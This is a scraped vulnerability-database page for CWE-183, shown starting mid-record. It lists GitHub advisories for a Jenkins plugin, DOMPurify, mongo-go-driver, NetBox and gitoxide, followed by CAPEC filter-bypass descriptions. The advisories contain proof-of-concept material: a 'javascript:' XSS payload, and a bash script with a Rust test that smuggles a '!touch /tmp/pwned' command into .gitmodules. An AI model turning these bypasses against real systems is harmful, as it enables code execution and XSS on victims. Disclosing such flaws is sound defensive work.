  "id": "GHSA-ccxh-j7hg-m5mr",
  "modified": "2023-07-17T21:18:47Z",
  "published": "2022-05-24T16:56:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/kubernetes-pipeline-plugin/blob/master/kubernetes-steps"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-09-25/#SECURITY-920%20(1)"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/09/25/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect Authorization in Jenkins Kubernetes :: Pipeline :: Kubernetes Steps Plugin"
}

GHSA-CJMM-F4JC-QW8R

Vulnerability from github – Published: 2026-04-03 03:46 – Updated: 2026-07-23 14:04
VLAI
Summary
DOMPurify ADD_ATTR predicate skips URI validation
Details

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:46:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nDOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `\u003ca href=\"javascript:alert(document.domain)\"\u003e` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.\n\n## Impact\nPredicate-based allowlisting bypasses DOMPurify\u0027s URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.\n\n## Credits\nIdentified by Cantina\u2019s Apex (https://www.cantina.security).",
  "id": "GHSA-cjmm-f4jc-qw8r",
  "modified": "2026-07-23T14:04:34Z",
  "published": "2026-04-03T03:46:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify ADD_ATTR predicate skips URI validation"
}

GHSA-CP6G-7HQX-QXHP

Vulnerability from github – Published: 2026-02-10 21:31 – Updated: 2026-06-18 13:02
VLAI
Summary
mongo-go-driver has Heap Out-of-Bounds Read in GSSAPI Error Handling
Details

The mongo-go-driver repository contains CGo bindings for GSSAPI (Kerberos) authentication on Linux and macOS. The C wrapper implementation contains a heap out-of-bounds read vulnerability due to incorrect assumptions about string termination in the GSSAPI standard. Since GSSAPI buffers are not guaranteed to be null-terminated or have extra padding, this results in reading one byte past the allocated heap buffer.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.mongodb.org/mongo-driver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.mongodb.org/mongo-driver/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:02:29Z",
    "nvd_published_at": "2026-02-10T20:17:00Z",
    "severity": "MODERATE"
  },
  "details": "The mongo-go-driver repository\u00a0contains CGo bindings for GSSAPI (Kerberos) authentication on Linux and macOS. The C wrapper implementation contains a heap out-of-bounds read vulnerability due to incorrect assumptions about string termination in the GSSAPI standard. Since GSSAPI buffers are not guaranteed to be null-terminated or have extra padding, this results in reading one byte past the allocated heap buffer.",
  "id": "GHSA-cp6g-7hqx-qxhp",
  "modified": "2026-06-18T13:02:29Z",
  "published": "2026-02-10T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2303"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mongodb/mongo-go-driver"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/GODRIVER-3770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "mongo-go-driver has Heap Out-of-Bounds Read in GSSAPI Error Handling"
}

GHSA-F249-4QX6-HG68

Vulnerability from github – Published: 2026-05-04 18:30 – Updated: 2026-05-21 18:33
VLAI
Details

NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-29514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-04T17:16:22Z",
    "severity": "HIGH"
  },
  "details": "NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox\u0027s call interception mechanism, achieving remote code execution as the NetBox service user.",
  "id": "GHSA-f249-4qx6-hg68",
  "modified": "2026-05-21T18:33:06Z",
  "published": "2026-05-04T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/issues/22079"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/pull/22078"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/pull/22170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/commit/d124c5fe86e12aad61285133c0caf16adcda8f2e"
    },
    {
      "type": "WEB",
      "url": "https://chocapikk.com/posts/2026/netbox-export-template-rce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netbox-community/netbox/releases/tag/v4.6.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/netbox-rce-via-rendertemplatemixin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F26G-JM89-4G65

Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-06-30 17:41
VLAI
Summary
gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules
Details

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains: ini [submodule "sub"] active = true url = /tmp/sub-origin
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains: ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard: - The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
    update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that: 1. Calls Submodule::update() to determine the update strategy, and 2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.83.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-349",
      "CWE-501",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:23:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None =\u003e return Ok(None),\n    };\n\n    if let Update::Command(cmd) = \u0026value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]\u0027s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
  "id": "GHSA-f26g-jm89-4g65",
  "modified": "2026-06-30T17:41:01Z",
  "published": "2026-05-05T19:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}

No mitigation information available for this CWE.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.